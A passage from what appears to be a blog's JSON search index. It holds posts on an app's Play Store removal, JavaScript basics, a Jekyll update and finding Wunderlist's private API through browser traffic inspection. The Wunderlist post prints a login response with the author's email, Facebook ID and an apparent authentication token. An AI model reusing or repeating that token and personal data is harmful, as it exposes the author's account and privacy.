transaction fees) from you.\nIf your developer account is still in good standing, you may revise and upload a policy compliant version of your application as a new package name. Before \u0026gt; uploading any new applications, please review the Developer Distribution Agreement and Content Policy.\nIf you feel we have made this determination in error, you can visit the Google Play Help Center article for additional information regarding this removal.\nThe Google Play Team\n","permalink":"https://madhur.co.in/blog/2014/05/26/hermesremoved.html","summary":"\u003cp\u003eMy location tracking app Hermes has been removed from Play Store by Google. This is the email which I got.\u003c/p\u003e\n\u003cp\u003eEssentially, the donate to paypal option is what rankled Google, since they were not getting their share. I wanted to simply repost the app with that option removed, but google doesn\u0026rsquo;t leave with me with that choice, instead they wanted to upload the app with new package name which is quite a work.\u003c/p\u003e","title":"Hermes removed from Play Store by Google"},{"content":"Distinguishing Arrays value.constructor === Array value instanceof Array Neither work when value comes from different frame Arrays and inheritance## Don\u0026rsquo;t use arrays as prototypes The object produced this way does not have array nature. IUt will inherit array\u0026rsquo;s values and methods, but not its length\nYou can augment an individual array. Assign a method to it. This works because arrays are objects.\nYou can augment all arrays. Assign methods to Array.prototype\nFunctions Functions are first class objects. Functions can be passed, returned and stored just like any other value\nFunctions inherit from Object and can store name/value pairs. Very strange.\nCan anywhere appear expression is required\nfunction statement is just a short-hand for a var statement with a function value.\nfunction foo() {}\nexpands to\nvar foo = function foo() {};\nAn inner function has access to the variables and parameters of functions that it is contained within.\nA function inside a object is called method\nIf a function is called with too many arguments, the extra arguments are ignored\nIf a function is called with too few arguemnts, the missing values will be undefined\nThere is no type checking on the arguements\nClosure The scope that an inner function enjoys continues even after the parent functions have returned This is what makes javascript worth attention. Invocation Method form : thisObject.methodName(arguments) When a function is called in method form, this is set to thisObject, the object containing the function This allows function to have reference object Function form - functionObject(arguments) this is set to global object. That is not very useful. Error in design Harder to write helper functions. var that=this Constructor form - new functionObject(arguments)### a new object is created and assigned to this\nIf there is not an explicit return value, then this will be returned\nfunction is invoked, it also gets a special parameter called arguments\nIt contains all of the arguments. Contains the length parameter. It\u0026rsquo;s not a real array.\nMisc The typeof prefix operator returns a string identifying the type of a value\ntypeof null is Object. This is wrong.\neval is the most dangerous feature. Don\u0026rsquo;t use it. Browser uses it.\nAvoid new Boolean(), new String(), new Number(). This is an error.\nOn browsers, window is the global object.\nGlobal variables are evil.\nAny var not declared is assumed global. Use JsLint tool to identify weaknesses\nNamespace Every object is a separate namespace Use an object to organize your variables and functions. Use an anonymous function to wrap your application YAHOO.Trivia = function () { // define your common vars // define your common functions here return { getNextPoser: function (cat, diff) { }, showPoser: function() { ... } }; }(); ","permalink":"https://madhur.co.in/blog/2014/05/25/javascriptbasic4.html","summary":"\u003ch3 id=\"distinguishing-arrays\"\u003eDistinguishing Arrays\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003evalue.constructor === Array\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003evalue instanceof Array\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eNeither work when value comes from different frame\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"arrays-and-inheritance\"\u003eArrays and inheritance##\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eDon\u0026rsquo;t use arrays as prototypes\nThe object produced this way does not have array nature. IUt will inherit array\u0026rsquo;s values and methods, but not its length\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eYou can augment an individual array. Assign a method to it. This works because arrays are objects.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eYou can augment all arrays. Assign methods to \u003ccode\u003eArray.prototype\u003c/code\u003e\u003c/p\u003e","title":"Javascript Basics Part IV"},{"content":"Collections An object is an unordered collection of name/value pairs Names are strings Values are any type, including other objects Every object is a little database Object Literals Object literals are wrapped in {} Values can be expressions : separate names and values , separates pairs Can be used anywhere value is required New members can be added to any object by simple assignment myObject[name]=value Maker function function maker(name, where) { var it={}; it.name=name; it.where=where; return it; } myObject = maker(\u0026#34;Madhur Ahuja\u0026#34;, \u0026#34;Jail\u0026#34;); Linkage Objects can be created with a secret link to another object The object(o) function will be used with a secret link to object o The linkage cannot be changed once created. It is possible in Mozilla implementation, but is non-standard. var myNewObject = object (myOldObject);\nAll objects are linked to Object.prototype All objects inherit some methods, none of them are useful Objects doesn\u0026rsquo;t have copy or equals methods. Omission from the language. Object construction## new Object() {} object(Object.protype) Second is the most preferred\nObjects are passed by reference\n=== or == compares references not values\nmembers can be removed by using delete operator\nArrays Inherits from object No need to provide a length or type when creating array Have a special length member Array literal uses [] myList = ['Oats' , 'peas'] New items can be added myList[myList.length]='barley' The dot notation cannot be used. Should use subscript notation Methods: concat, join, pop, push, slice, sort , splice delete array[number] Removes the element, but leaves the hole array.splice(number, 1) Removes the element and renumbers all the following elements Use objects when names are arbitrary strings Use arrays when names are sequential integers ","permalink":"https://madhur.co.in/blog/2014/05/24/javascriptbasics3.html","summary":"\u003ch2 id=\"collections\"\u003eCollections\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAn object is an unordered collection of name/value pairs\u003c/li\u003e\n\u003cli\u003eNames are strings\u003c/li\u003e\n\u003cli\u003eValues are any type, including other objects\u003c/li\u003e\n\u003cli\u003eEvery object is a little database\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"object-literals\"\u003eObject Literals\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eObject literals are wrapped in {}\u003c/li\u003e\n\u003cli\u003eValues can be expressions\u003c/li\u003e\n\u003cli\u003e: separate names and values\u003c/li\u003e\n\u003cli\u003e, separates pairs\u003c/li\u003e\n\u003cli\u003eCan be used anywhere value is required\u003c/li\u003e\n\u003cli\u003eNew members can be added to any object by simple assignment\n\u003ccode\u003emyObject[name]=value\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"maker-function\"\u003eMaker function\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003emaker\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ewhere\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eit\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"p\"\u003e{};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nx\"\u003eit\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ename\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nx\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nx\"\u003eit\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ewhere\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nx\"\u003ewhere\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003eit\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003emyObject\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003emaker\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Madhur Ahuja\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Jail\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"linkage\"\u003eLinkage\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eObjects can be created with a secret link to another object\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eobject(o)\u003c/code\u003e function will be used with a secret link to object o\u003c/li\u003e\n\u003cli\u003eThe linkage cannot be changed once created. It is possible in Mozilla implementation, but is non-standard.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ccode\u003evar myNewObject = object (myOldObject);\u003c/code\u003e\u003c/p\u003e","title":"Javascript Basics Part III"},{"content":"Statements break for switch throw try with For statement for (var name in object) { if(object.hasOwnProperty(name)) { // within the loop, name is the key of current memeber // object[name] is the current value } } Switch statement The switch value can be a string. Not restricted to integer The cast statements can be expressions, not just constants Throw statement throw new Error(reason); throw { name: exceptionName, message: reason } Try statement Because we don\u0026rsquo;t have classes, we just have one catch clause. There cannot be multiple catch clauses. The javascript implementation can produce these exception names: Error EvalError RangeError SyntaxError TypeError URIError try { } catch(e) { } With statement Ambiguous and error prone, don\u0026rsquo;t use it. with (o) { foo = null; } Either o.foo = null; or foo = null; depending on if foo is a global variable\nFunction statement function name(parameters) { } Var statement Types are not specified Initial values are optional Scope Blocks do not have scopes, only function has scopes. Because of laziness while writing the compiler :) This is a mistake in language Return statement return expression; Or return;\nIf there is no expression, then the return value is undefined Exception in constructors, return value is this ","permalink":"https://madhur.co.in/blog/2014/05/23/javascriptbasics2.html","summary":"\u003ch2 id=\"statements\"\u003eStatements\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebreak\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003efor\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eswitch\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ethrow\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003etry\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ewith\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"for-statement\"\u003eFor statement\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003ename\u003c/span\u003e \u003cspan class=\"k\"\u003ein\u003c/span\u003e \u003cspan class=\"nx\"\u003eobject\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eobject\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ehasOwnProperty\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"c1\"\u003e// within the loop, name is the key of current memeber\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"c1\"\u003e// object[name] is the current value\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"switch-statement\"\u003eSwitch statement\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eThe switch value can be a string. Not restricted to integer\u003c/li\u003e\n\u003cli\u003eThe cast statements can be expressions, not just constants\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"throw-statement\"\u003eThrow statement\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ereason\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nx\"\u003ename\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003eexceptionName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nx\"\u003emessage\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003ereason\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"try-statement\"\u003eTry statement\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBecause we don\u0026rsquo;t have classes, we just have one \u003ccode\u003ecatch\u003c/code\u003e clause. There cannot be multiple catch clauses.\u003c/li\u003e\n\u003cli\u003eThe javascript implementation can produce these exception names:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eError\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eEvalError\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eRangeError\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eSyntaxError\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eTypeError\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eURIError\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003etry\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ecatch\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"with-statement\"\u003eWith statement\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAmbiguous and error prone, don\u0026rsquo;t use it.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003ewith\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eo\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nx\"\u003efoo\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eEither \u003ccode\u003eo.foo = null;\u003c/code\u003e or \u003ccode\u003efoo = null;\u003c/code\u003e depending on if foo is a global variable\u003c/p\u003e","title":"Javascript Basics Part II"},{"content":"I was going through many of the Douglas Crockford videos on Javascript and came across many of the oddities in the Javascript language. I was highly impressed by his outspoken admission on some of the features of the languages being \u0026ldquo;bad\u0026rdquo;. But at the same time, he highlighted that Javascript is one of the most widely mis-understood programming languages and there are many powerful features which are quite powerful.\nValue Types (Everything else is objects) Number Strings Booleans Objects null undefined Few points about NaN:\nNaN stands for Not a number NaN does not equal to anything, including Nan Nan is a number type. type of Nan is Number Number function Number(value)\nConvert a string to a number parseInt function parseInt(value, 10)\nThe radix (10) should be required Math object Math object is modeled on Java\u0026rsquo;s Math class Strings Strings are immutable Similar strings are equal (==). Jave got that wrong Strings literals can use single or double quotes string.length determines the length of string String function string(value)\nConvert a number to String Boolean function Boolean(value)\nreturns true if the value is truthy returns false if the value is falsy Similar to !! operator Falsy Values false null undefined \u0026quot;\u0026quot; 0 Nan Truthy Values All other values (including all objects) are truthy including \u0026quot;0\u0026quot; , \u0026quot;false\u0026quot;\nundefined is the default value for variables\nThus, a variable can be defined and also undefined at the same time :)\nDynamic objects new Object() produces an empty container of name/value pairs A name can be any string, a value can be any value except undefined members can be accessed with dot notation or subscript notation Loosely typed Any variable can recieve or send any type of parameter Language is not untyped Reserved words Many of hte words are reserved but only handful of them are being used in language == and != operators These operators can do type coercion It is better to use === and !==, which do not do type coercion. \u0026amp;\u0026amp; Guard operator (Logical AND)### If first operand is truthy then result is second operand else result is first operand It can be used to avoid null references if (a) { return a.member; } else { return a; } It can be written as return a \u0026amp;\u0026amp; a.member; || Default operator (Logical OR)### If first operand is truthy then result is first operand else result is second operand It can be used to fill in default values. var last = input || nr_items; ","permalink":"https://madhur.co.in/blog/2014/05/22/javascriptbasics.html","summary":"\u003cp\u003eI was going through many of the Douglas Crockford videos on Javascript and came across many of the oddities in the Javascript language. I was highly impressed by his outspoken admission on some of the features of the languages being \u0026ldquo;bad\u0026rdquo;. But at the same time, he highlighted that Javascript is one of the most widely mis-understood programming languages and there are many powerful features which are quite powerful.\u003c/p\u003e\n\u003ch2 id=\"value-types-everything-else-is-objects\"\u003eValue Types (Everything else is objects)\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eNumber\u003c/li\u003e\n\u003cli\u003eStrings\u003c/li\u003e\n\u003cli\u003eBooleans\u003c/li\u003e\n\u003cli\u003eObjects\u003c/li\u003e\n\u003cli\u003enull\u003c/li\u003e\n\u003cli\u003eundefined\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eFew points about NaN:\u003c/p\u003e","title":"Javascript Basics Part I"},{"content":"With the latest release of Jekyll 2.0.1 gem, I have updated the Portable Jekyll package to version 2.0.1 as well.\nGrab it here\nJekyll 2.0.1 comes with exciting new features, documentation of which can be found here\n","permalink":"https://madhur.co.in/blog/2014/05/07/portablejekyllupdated.html","summary":"\u003cp\u003eWith the \u003ca href=\"http://jekyllrb.com/news/\"\u003elatest release\u003c/a\u003e of \u003ccode\u003eJekyll 2.0.1\u003c/code\u003e gem, I have updated the Portable Jekyll package to version 2.0.1 as well.\u003c/p\u003e\n\u003cp\u003eGrab it \u003ca href=\"https://www.dropbox.com/sh/40l6mgbl1ce2kej/lF6ykQxt9d\"\u003ehere\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJekyll 2.0.1 comes with exciting new features, documentation of which can be found \u003ca href=\"http://jekyllrb.com/news/\"\u003ehere\u003c/a\u003e\u003c/p\u003e","title":"Portable Jekyll Upgraded to 2.0.1"},{"content":"Without any doubt, Wunderlist is the most popular to do list manager. With its increasing popularity, demand is growing for people to let Wunderlist expose its API to public so that users can build great apps around it and integrate it with their systems. Posts such as this on Wunderlist support forum clearly indicate the popularity and demand for such an API.\nAlthough, Wunderlist has yet not exposed any public API but it seems there are definite plans for that going by post such as this Nevertheless, what I found is that it is easy to discover the Wunderlist API by simply inspecting the HTTPS traffic over the Wunderlist web site. If we see their Licenses section, it is easy to see that they use backbone.js along with Jquery and RequireJs giving the clear indication of MVC pattern being in use along with JSON as the data exchange format\nNow, lets head over to the browser to inspect the HTTPS traffic and see if we can get some information about their API. What I am going to do is login to Wunderlist website with my credentials and record the HTTPS traffic in the Chrome inspector. I have also turned on the button for Preserve log upon Navigation\nIf we filter by requests of type XML HTTP Request(XHR), we will see a POST request /login to the host api.wunderlist.com. In the request payload, I also see my username and password in cleartext. Although I do not have anything to worry since this is transmitted over SSL\nIf we just scroll few lines down, I see another request /batch to api.wunderlist.com with this JSON payload and the response is a considerable JSON response. I could the names of lists and tasks in the JSON response.\n{\u0026#34;ops\u0026#34;:[ {\u0026#34;method\u0026#34;:\u0026#34;put\u0026#34;,\u0026#34;url\u0026#34;:\u0026#34;/me/settings\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;web_significant_event_count\u0026#34;:\u0026#34;5\u0026#34;,\u0026#34;web_shortcut_add_new_task\u0026#34;:\u0026#34;CTRL + 0\u0026#34;}}, {\u0026#34;method\u0026#34;:\u0026#34;get\u0026#34;,\u0026#34;url\u0026#34;:\u0026#34;/me\u0026#34;},{\u0026#34;method\u0026#34;:\u0026#34;get\u0026#34;,\u0026#34;url\u0026#34;:\u0026#34;/me/settings\u0026#34;}, {\u0026#34;method\u0026#34;:\u0026#34;get\u0026#34;,\u0026#34;url\u0026#34;:\u0026#34;/me/contacts\u0026#34;,\u0026#34;params\u0026#34;:{}}, {\u0026#34;method\u0026#34;:\u0026#34;get\u0026#34;,\u0026#34;url\u0026#34;:\u0026#34;/me/services\u0026#34;,\u0026#34;params\u0026#34;:{}}, {\u0026#34;method\u0026#34;:\u0026#34;get\u0026#34;,\u0026#34;url\u0026#34;:\u0026#34;/me/lists\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;since\u0026#34;:\u0026#34;1399004140\u0026#34;}}, {\u0026#34;method\u0026#34;:\u0026#34;get\u0026#34;,\u0026#34;url\u0026#34;:\u0026#34;/me/tasks\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;before\u0026#34;:1399141799,\u0026#34;limit\u0026#34;:1000,\u0026#34;compact\u0026#34;:true}}, {\u0026#34;method\u0026#34;:\u0026#34;get\u0026#34;,\u0026#34;url\u0026#34;:\u0026#34;/me/reminders\u0026#34;,\u0026#34;params\u0026#34;:{}}, {\u0026#34;method\u0026#34;:\u0026#34;get\u0026#34;,\u0026#34;url\u0026#34;:\u0026#34;/me/shares\u0026#34;,\u0026#34;params\u0026#34;:{}}, {\u0026#34;method\u0026#34;:\u0026#34;get\u0026#34;,\u0026#34;url\u0026#34;:\u0026#34;/me/events\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;locale\u0026#34;:\u0026#34;en_US\u0026#34;}}, {\u0026#34;method\u0026#34;:\u0026#34;get\u0026#34;,\u0026#34;url\u0026#34;:\u0026#34;/me/quota\u0026#34;,\u0026#34;params\u0026#34;:{}}], \u0026#34;sequential\u0026#34;:true} Great, it seems that we have just discovered a bunch of REST API calls. These are batched together in single HTTP request for optimization. We also know the method GET or POST of these requests and also the parameters some of them. The next step is to take this request individually and test it one by one. But how do we do it?\nFor this purpose, I am using an excellent Chrome extension called Dev HTTP Client\nFirst, lets authenticate ourselves using the /login API. This will be a post request containing the username and password for the Wunderlist.\nThe result is the following JSON response:\n{ \u0026#34;id\u0026#34;:\u0026#34;AAAEAABXCxQ\u0026#34;, \u0026#34;created_at\u0026#34;:\u0026#34;2014-04-30T11:59:36Z\u0026#34;, \u0026#34;updated_at\u0026#34;:\u0026#34;2014-04-30T11:59:36Z\u0026#34;, \u0026#34;name\u0026#34;:\u0026#34;madhur\u0026#34;, \u0026#34;type\u0026#34;:\u0026#34;User\u0026#34;, \u0026#34;avatar\u0026#34;:\u0026#34;https://graph.facebook.com/522955158/picture?width=0\u0026amp;height=0\u0026#34;, \u0026#34;email\u0026#34;:\u0026#34;ahuja.madhur@gmail.com\u0026#34;, \u0026#34;token\u0026#34;:\u0026#34;8758a4a0f983177a427a879a30b144d92bc2f01e\u0026#34;, \u0026#34;terms_accepted_at\u0026#34;:\u0026#34;2013-07-07\u0026#34;, \u0026#34;confirmation_state\u0026#34;:\u0026#34;confirmed_email\u0026#34;, \u0026#34;email_confirmed\u0026#34;:true, \u0026#34;channel\u0026#34;:\u0026#34;me.updates.2ea715786fc5ed6af21a97d2104ac4a095349e9b\u0026#34;, \u0026#34;product\u0026#34;:null, \u0026#34;group_product\u0026#34;:null, \u0026#34;facebook\u0026#34;:\u0026#34;522955158\u0026#34;, \u0026#34;settings\u0026#34;:{ \u0026#34;account_locale\u0026#34;:\u0026#34;en\u0026#34;, \u0026#34;background\u0026#34;:\u0026#34;wlbackground03\u0026#34;, \u0026#34;campaign_iyf4_notification\u0026#34;:\u0026#34;true\u0026#34;, \u0026#34;campaign_iyf4_notification_last_date\u0026#34;:\u0026#34;2013-12-16T00:47:14Z\u0026#34;, \u0026#34;campaign_iyf4_notification_variation\u0026#34;:\u0026#34;c\u0026#34;, \u0026#34;consumed_quota_assigning_daily\u0026#34;:\u0026#34;0\u0026#34;, \u0026#34;consumed_quota_assigning_daily_date\u0026#34;:\u0026#34;2013-09-26\u0026#34;, \u0026#34;consumed_quota_assigning_overall\u0026#34;:\u0026#34;0\u0026#34;, \u0026#34;consumed_quota_comments_daily\u0026#34;:\u0026#34;0\u0026#34;, 